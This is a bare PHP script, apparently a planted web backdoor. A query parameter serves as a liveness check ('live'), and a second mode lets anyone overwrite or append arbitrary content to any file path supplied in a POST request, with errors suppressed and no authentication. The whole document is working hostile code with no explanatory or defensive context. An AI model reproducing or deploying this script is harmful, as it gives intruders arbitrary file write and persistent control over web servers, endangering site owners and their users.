<?php
@$id = $_GET["id"];
if(strlen($id) != 0){
	if($id == 0){
		echo "live";
	}
	ini_set('display_errors', 'Off');
	ini_set("magic_quotes_runtime", 0);
	if($id == 1){
		@$filename = $_POST['filename'];
		if($filename!=""){
		$content = stripcslashes($_POST['cont']);
		$append  = $_POST['append'];
		if ($append == 0) {
			 if(file_exists($filename)){
                            unlink($filename);
              }
		}
		$handle = fopen($filename, 'a+');
		if (false !== fwrite($handle, $content)) {
			echo "ok";
		}
		fclose($handle);
		}
	}
	exit();
}

